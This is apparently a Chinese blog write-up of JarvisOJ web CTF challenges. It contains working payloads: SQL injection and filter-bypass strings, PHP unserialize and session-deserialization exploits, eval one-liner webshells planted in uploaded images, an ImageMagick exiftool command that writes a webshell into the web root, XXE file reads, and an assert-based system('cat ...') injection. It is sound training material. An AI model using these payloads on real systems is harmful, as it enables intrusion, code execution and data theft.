初学WEB,一切都是新鲜的。JarvisOJ 平台上的题还不错,适合练练手。
PORT51
http://web.jarvisoj.com:32770/
打开页面提示:Please use port 51 to visit this site.
直接curl:
1 | $ curl --local-port 51 http://web.jarvisoj.com:32770/ |
得到 flag:PCTF{M45t3r_oF_CuRl}
LOCALHOST
http://web.jarvisoj.com:32774/
打开页面提示:localhost access only!!
想到X-Forwarded-For。
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。`
因此在请求头中构造:X-Forwarded-For: 127.0.0.1
得到 flag:PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}
Login
http://web.jarvisoj.com:32772/
1 | 需要密码才能获得flag哦。 |
在响应头中发现提示:
1 | Hint: "select * from `admin` where password='".md5($pass,true)."'" |
在php中,md5函数原型为:
1 | md5 ( string $str [, bool $raw_output = FALSE ] ) : string |
如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
测试如下:
1 | $s = '123456'; |
1 | e10adc3949ba59abbe56e057f20f883e |
所以现在如果能有一个字符串,它md5加密后的原始字节流可以有类似 'or'1
这样的语句就好了。根据前人的总结,ffifdyop
md5 后为 276f722736c95d99e921722cf9ed621c
,原始字节流为 'or'6<乱码>
。这样就可以实现 sql 注入了。
得到 flag:PCTF{R4w_md5_is_d4ng3rous}
神盾局的秘密
http://web.jarvisoj.com:32768/
1 | 这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗? |
查看源代码发现图片的地址是:showimg.php?img=c2hpZWxkLmpwZw==
,而 c2hpZWxkLmpwZw==
base64解码后正是 shield.jpg
。可以通过 showimg.php 读取到源码。
index.php:
1 |
|
showimg.php:
1 |
|
shield.php:
1 |
|
有以下结论:
- flag 在 pctf.php 中。
- showimg.php 中 ban了 pctf,无法直接读取源码。
- index.php中 可以通过 get 参数 class 得到反序列化 Shield 类的对象从而通过
__construct
构造函数读取到 pctf.php。
因此 payload 为:
1 | http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} |
得到 flag:PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
IN A Mess
http://web.jarvisoj.com:32780/
1 | 连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。 |
查看源码发现提示 index.phps。内容如下:
1 |
|
结论如下:
- a 中不能有
.
。 - data 值为a文件内容,并且要等于 1112 is a nice lab!。
- id 不能为假,但又要 id==0。
- b 的长度大于 5,b 的第一个字符不能为 4,但又要
eregi("111".substr($b,0,1),"1114")
为真。
首先 id==0 为弱比较,id=‘0abc’ 或 ‘0e10’ 或 ‘xyz’ 均可绕过。
然后 b 可以进行 %00 截断,构造为 %004abcd
,eregi 函数的 pattern 中会忽略 %00 及之后的字符串。
a 有些麻烦,看了别人的 WP,有三种方法:
-
data协议:
所谓"data"类型的 Url 格式,是在RFC2397中提出的,目的对于一些“小”的数据,可以在网页中直接嵌入,而不是从外部文件载入。
所以a的值可以构造为:
data:,1112 is a nice lab!
,那么就相当于直接给 a 赋予了该内容。 -
php://input
php://input
是个可以访问请求的原始数据的只读流。当请求方式是 post,并且 Content-Type 不等于 ”multipart/form-data” 时,可以使用 php://input 来获取原始请求的数据。
因此 a 的值可以构造为:php://input
,并且使用 post 方法,请求头中 Content-Type 不等于 ”multipart/form-data”、Content-Length 为 38,请求主体为:1112 is a nice lab!
,当执行 file_get_contents($a) 时,就会读取到了。 -
从自己的服务器上读取文件
由于过滤了点,先要将自己的ip地址转换为 10 进制数字,然后文件不加后缀名就好了。
测试了下,也可以成功执行。
进入后提示:Come ON!!! {/^HT2mCpcvOLf}
。猜测是目录,进入该目录,页面显示 hi666,发现 url变 为了http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1
,将id改为其他非 0 会显示正在执行的 SQL 语句,看来是 SQL 注入了。这里是数字型的注入点,不用闭合引号。
测试发现过滤了空格、关键字等,但都可以绕过。
先通过 group by 获得字段数:
1 | http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1/*1*/group/*1*/by(3) |
字段数为 3。然后开始联合查询,测试下回显位置是 3,根据报错语句也能知道表名是 content,于是直接获取字段名,但有单引号会报错,用 16 进制绕过:
1 | http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1/*1*/uunionnion/*1*/sselectelect/*1*/1,1,group_concat(column_name)ffromrom(information_schema.columns)where(table_name=0x636F6E74656E74)/*1*/limit/*1*/1,1 |
得到字段名:id,context,title。
1 | http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1/*1*/uunionnion/*1*/sselectelect/*1*/1,1,context/*1*/ffromrom(content)/*1*/limit/*1*/1,1 |
最终得到 flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}
RE?
https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
1 | 咦,奇怪,说好的WEB题呢,怎么成逆向了?不过里面有个help_me函数挺有意思的哦 |
flag在管理员手里
http://web.jarvisoj.com:32778/
1 | 只有管理员才能获得flag,你能想办法获得吗? |
打开页面显示 Only Admin can see the flag!!。
发现 cookie 如下:
1 | hah: 3a4727d57463f122833d9e732f94e4e0 |
看来是要将 cookie 中 role 的值改为 admin。但 cookie 是加了盐之后的hash值,没法得到修改后的 hash 值。
除此之外,用自己写的扫描工具扫了下还发现源码泄露:index.php~
index.php~ 是 php 的备份恢复文件,直接打开之后是乱码。拿到 Linux 下,重命名为 index.php.swp,使用命令 vim -r index.php
恢复。得到源码:
1 |
|
结论有:
$role === "admin"
。$hsh === md5($salt.strrev($\_COOKIE["role"]))
,即 hash 值为 salt + 倒序的序列化后的 role 的 md5 值。
现在知道 md5(salt+;"tseug":5:s)
,需要计算 md5(salt+;"nimda":5:s)
。因此可以用哈希长度扩展攻击。即可以计算出 md5(salt+;"tseug":5:s+填充的字节+;"nimda":5:s)
,倒序后的 role 值是 s:5:"admin";+逆序的填充字节+s:5:"guest";
。由于 php反序列化时会忽略第一个可序列化后对象之后的字符串。例如:
1 | $array1 = array('a' => 1); |
1 | a:1:{s:1:"a";i:1;}pada:1:{s:1:"b";s:4:"test";} |
因此反序列化后的 role 值就为 admin。因此可以进行攻击。但是哈希长度攻击需要知道 salt 的长度,无妨,可以进行爆破。
脚本如下:
1 | import requests |
发现 salt 长度为 12,最终得到 flag:PCTF{H45h_ext3ndeR_i5_easy_to_us3}
Chopper
http://web.jarvisoj.com:32782/
1 | 小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗? |
进去之后有一张菜刀图片,然后点击指向目录/admin的管理员登录连接提示403没有权限。但是查看源码发现提示管理员 IP 是202.5.19.128。查看菜刀图片的链接,很奇怪:proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg
。
看来要用远程文件包含,并且看到 proxy,这也许是一个代理接口。因此猜测应该可以使用这个代理接口去访问 202.5.19.128 的代理接口去访问 admin 目录。那么 202.5.19.128 下的代理接口可能也是 proxy.php。果然,直接访问
http://202.5.19.128/proxy.php
提示 403,然后使用代理接口 http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php
就可以成功。
因此构造:http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
两层代理来访问 admin 目录。
成功,页面显示:YOU’RE CLOOSING!。但除此之外一无所获。尝试扫描,还真扫描出了点东西:proxy.php(怎么还有代理。。。)以及 robots.txt。
打开 robots.txt,有两个文件:trojan.php 及 trojan.php.txt。
看来 trojan.php 是含有一句话木马的文件了。而 trojan.php.txt 是提示文件:
1 | "#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t")); ${( |
其实就是:
1 |
|
得到密码 360,用菜刀连上,或者自己 post。发现其实出题人应该是进行了处理,这并不是真的一句话木马,因为你无论 post 什么都会回显目录信息。
最后得到 flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}。
Easy Gallery
http://web.jarvisoj.com:32785/
1 | "没有什么防护是一个漏洞解决不了的,如果有,那就....." |
进去可以看到上传图片的 submit 页面,先测试看看。发现是后端进行后缀名检测,而且会根据文件头检查文件类型。看来是要上传图马了,在图片后加入一句话木马:
1 | eval($_POST['nonup']); @ |
尝试文件名构造 %00 截断:heihei.php%00123.jpg
,看能否之后利用。
上传成功,得到图片ID:1557851349。在 view 界面,查看图片,得到图片的地址:uploads/1557851349.jpg
,看来服务器对图片进行了重命名,之前构造的完全无效。
换种思路,在 index 页面发现 url 是这种格式:index.php?page=submit
,猜测是网页内嵌套,直接访问 submit.php 也可以访问成功,将 page 值改为任意值会报错:
Warning: fopen(123.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24 No such file!
看来服务器的逻辑是在 page 值后添加 .php
判断是否存在该文件,然后用 php 解析器去解析该文件。因此使用 %00 截断来绕过判断是否存在文件,然后就完成了。
因此构造:index.php?page=uploads/1557851349.jpg%00
,提示You should not do this!
,看来服务器还进行了过滤,但发现只要使用旧版本的 php 标签就可以了:
1 | <script language="php">@eval($_POST['nonup']);</script> |
最后得到 flag:CTF{upl0ad_sh0uld_n07_b3_a110wed}
Simple Injection
http://web.jarvisoj.com:32787/
1 | 很简单的注入,大家试试? |
通过测试,发现用户名为 admin,而且在用户名中构造 'or'1'='1
也会提示密码错误,而且数据库执行错误会显示用户名错误。密码中貌似没有注入。还过滤了空格,但这不是问题。
很明显的基于布尔型的盲注。还发现可以睡,所以这里就采用基于时间型的盲注。
先测试下,不睡的话平均时间是 0.05s,sleep(0.3) 平均时间是 0.35。区分度足够大了。
脚本如下:
1 | import time |
数据库为:injection,表为:admin,字段有:id,username,password,字段对应的值为:1,admin,334cfb59c9d74849801d5acdcfdaadc3
密码md5解密后为:eTAloCrEP,登陆后得到 flag:CTF{s1mpl3_1nJ3ction_very_easy!!}
api调用
1 | 请设法获得目标机器/home/ctf/flag.txt中的flag值。 |
看见一个输入框,无论输入什么都会回显输入的内容再加个 own。查看源码发现一段 js 代码:
1 | function XHR() { |
再抓个包:
js 代码大致就是是定义了一个 XML 去向服务器的 /api/v1.0/try POST一个 json。这让人想到 XXE 漏洞。这两篇文章讲得很详细:
https://security.tencent.com/index.php/blog/msg/69
https://www.freebuf.com/articles/web/126788.html
XML 外部实体注入(XML External Entity),就是服务器接受从客户端发送来的 xml 格式数据时,xml 数据中恶意的引用了外部实体,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
可以构造引用了读取 flag 的外部实体的 XML:
1 |
|
抓包,修改内容,并且将 Content-Type 的值改 application/xml:
也可以构造引用了读取远程文件的外部实体的 XML:
1 |
|
hack.xml:
1 |
抓包:
也可以成功执行。获得 flag:CTF{XxE_15_n0T_S7range_Enough}
图片上传漏洞
http://web.jarvisoj.com:32790/
1 | 请设法获取/home/ctf/flag.txt 中的flag值。 |
先测试,发现会检测文件头,而且存储会重命名。没办法常规上传图马。
然后扫描一遍,发现了 test.php。访问后是 phpinfo 界面,网站路径为:/opt/lampp/htdocs
。除此之外,还发现了一个有趣的东西:ImageMagick。
ImageMagick 是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。
ImageMagick 有多个相关的CVE:
https://www.2cto.com/article/201605/505823.html
由于无法上传 mvg 格式的文件,因此很多洞都无法利用。但可以利用与 exif 有关的洞:
在普通的 png 中插入恶意的 exif,ImageMagick 在将这张 png 转换为 show 或 win 格式时就会触发漏洞。
利用 exiftool 构造恶意的 label:
1 | $ exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[\'nonuple\'\]\)\;?\> > /opt/lampp/htdocs/uploads/nonuple.php; \"" 1.png |
这里进行了两次转义,一次是本地的 exiftool 命令,一次是漏洞触发时的 echo 命令。
在 exif 信息查看器中能看到已成功写入:
并且在本地测试该命令也能成功写入文件:
上传该 png,抓包,并将 get 参数中的 filetype 值设为 show 或 win。这样就 ImageMagick 在收到这张图片的时候就会转换这张的格式为 show 或 win 然后触发漏洞了。
但这道题貌似被别人搅了,因为发现无论 filetype 设为什么 值,服务器都不会进行格式转换,返回的仍然是该格式的文件。
看了别人的 WP,之前有人按照这种方法成功上传了 uploads/x.php,连上菜刀或者自己 POST,最后得到 flag:CTF(873dfee87823248f4a1657650204697a}
PHPINFO
http://web.jarvisoj.com:32784/
进去就能看到index.php源码,如下
1 |
|
只要可以更改 OowoO 类中 mdzz 的值,就可以任意执行代码了。可是不存在可以反序列话的语句。
这句代码 ini_set('session.serialize_handler', 'php');
吸引了我的注意,ini_set 设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。看了大佬的 WP,才知道:
通过 phpinfo 页面,知道 php.ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php。这就导致了 seesion 的反序列化问题。
同时由 phpinfo() 页面知,session.upload_progress.enabled 为 On。当一个上传在处理中,同时 POST 一个与 INI 中设置的session.upload_progress.name 同名变量时,当 PHP 检测到这种 POST 请求时,它会在 $_SESSION 中添加一组数据。所以可以通过 Session Upload Progress 来设置 session。
所以现在需要上传的同时 POST 变量 PHP_SESSION_UPLOAD_PROGRESS。我们可以构建一个文件上传表单保存为 html 完成这个任务:
1 | <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> |
然后考虑序列化。先要执行 print_r(scandir(dirname(__FILE__)));
获得当前目录的所有文件,序列化后为:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
。
在引号前加上 \
,防止转义。然后最前面有一个 |
,这是 session 的格式。
在之前的 html 中任意上传一个文件,抓包,把 filename 改为:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
得到:
直接访问 Here_1s_7he_fl4g_buT_You_Cannot_see.php 没结果,因此要获得源码。通过 phpinfo 的 SCRIPT_FILENAME 或者再执行一个 print_r(dirname(__FILE__));
来获得当前路径为:/opt/lampp/htdocs
。
最后构造::
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
最终得到 flag:CTF{4d96e37f4be998c50aa586de4ada354a}
WEB?
1 | 这么简单的题,是WEB吗? |
进去后有个 check 密码,输入错误会提示 Wrong Password。刚开始还以为是万能密码,后来抓包发现会向 /checkpass.json
POST 密码。查看源码发现有个 app.js,将之用工具格式化后发现有 2W 多行。。。搜索 Wrong Password 发现了一个函数:
1 | key: "__handleTouchTap__REACT_HOT_LOADER__", |
只要 checkpass 函数返回为真就成了。接下来查看 checkpass 函数:
1 | key: "__checkpass__REACT_HOT_LOADER__", |
这就是简单的线性方程组。
1 | import numpy as np |
得到 flag:QWB{R3ac7_1s_interesting}
admin
http://web.jarvisoj.com:32792/
打开后没什么东西,用自己写的扫描工具扫一下,发现 robots.txt。
Robots 协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过 Robots 协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
打开后,Disallow: /admin_s3cr3t.php。访问该 php,显示 flag{hello guest},肯定没完,检查 cookie 发现 admin=0,改为 1 得到 flag:flag{hello_admin~}
inject
http://web.jarvisoj.com:32794/
1 | Hint1: 先找到源码再说吧~ |
进去没什么东西,那就扫描一下,扫出来 config.php 和 index.php~。 config.php 也没什么东西,index.php~ 如下:
1 |
|
结论如下:
- 通过 get 传参得到变量 table。
- SQL语句
desc `secret_{$table}`
必须执行成功。这里要注意反引号,mysql 中一般用反引号包围表名、字段名等来强调这是表名、字段名。desc `Test` `t`
的作用是输出Test表的详细信息,并且将 t 作为 Test 表的别名。 - 利用
select 'flag{xxx}' from secret_{$table}
语句注入。
因此 table 可以构造成:test` `union select database()
,这样 desc `secret_{$table}
语句变成了 desc `secret_test` `union select database()`
,就是给 secret_test 起了个后面一长串的别名,可以执行成功。然后 select 'flag{xxx}' from secret_{$table}
语句变成了 select 'flag{xxx}' from secret_test` `union select database()
,就是给 secret_test 起了个空格的别名然后联合查询。这样就可以注入了。
这里只能显示第一行的值,但又不知道 test 表的行数,所以用 limit 逐个测试下,报错会显示 D,发现只有一行。
获取数据库名:
1 | http://web.jarvisoj.com:32794/index.php?table=test` `union select database()limit 1,1 |
得到数据库:61d300。获取表名:
1 | http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name)from information_schema.tables where table_schema=database() limit 1,1 |
得到两张表:secret_flag, secret_test。获取secret_flag的字段名,这里过滤了单引号,所以用16进制绕过:
1 | http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name)from information_schema.columns where table_name=0x7365637265745F666C6167 limit 1,1 |
得到secret_flag的字段名:flagUwillNeverKnow,获取字段的值:
1 | http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(flagUwillNeverKnow)from secret_flag limit 1,1 |
得到 flag:flag{luckyGame~}
register
http://web.jarvisoj.com:32796/
1 | Hint1: 二次注入 |
先在登陆界面初步尝试,无论输入什么只会提示用户名或密码错误,不知过滤了什么,无法进行简单注入和布尔盲注,而且 information_schema、sleep、benchmark、正则匹配也都被 ban 了,也没法进行时间盲注。
来到 register.php 注册页面。可以选择 country 国家,当然国家可以抓包后任意修改。注册页面也没有发现注入点。只能根据提示进行二次注入。
先随便注册一个账号进去看看,进去后页面花里胡哨。提示 country 存在注入,因此换了几个不同国家和随意字符串的 country 尝试,在 userinfo 界面发现 date 字段会发生较大变化,猜测服务器是从数据库里读取 country 以及对应的时区。语句可能为:select GMT from word_time where country='$country'
。测试下 country 的注入语句发现:
1 | country='or(1=1)# 2019-05-10 02:28:05 |
此时的时间为 2 点 28 分,因此 GMT 的初值应该为 0,找不到国家对应的时区 date 就为格林威治时间,即北京时间 -8 小时,而 China 应该是数据库的第一条记录,因此与我这边的时间相同。这与注册时国家的顺序一致,都对上了,猜得没错。
但 information_schema 被 ban,应该就要猜表名了,表名很容易猜到就是 users。到这里就没有什么难度了,剩下的就是简单的基于布尔型的盲注。直接上脚本:
1 | import requests |
最终得到密码为:9a73fd18fedd9643357ffe20b9d974e4,md5 解码后为 CleverBoy。然后用 admin 登陆,在 manage 界面看到 flag:flag{URst0rong}
babyphp
http://web.jarvisoj.com:32798/
说用到了 git,那就猜测是 git 泄露了,用 GitHacker 恢复出 index.php:
1 |
|
assert 函数很危险,原型为:
1 | bool assert ( mixed $assertion [, string $description ] ) |
当 assertion 为字符串时,php 会当作代码去执行。因此也被用来做一句话木马。
之前的 git 泄露时还发现 templates 目录下有个 flag.php,读取该文件:
1 | http://web.jarvisoj.com:32798/?page='.system("cat templates/flag.php").' |
得到 flag:61dctf{8e_careful_when_us1ng_ass4rt}
babyxss
http://web.jarvisoj.com:32800/
1 | Hint1: csp bypass |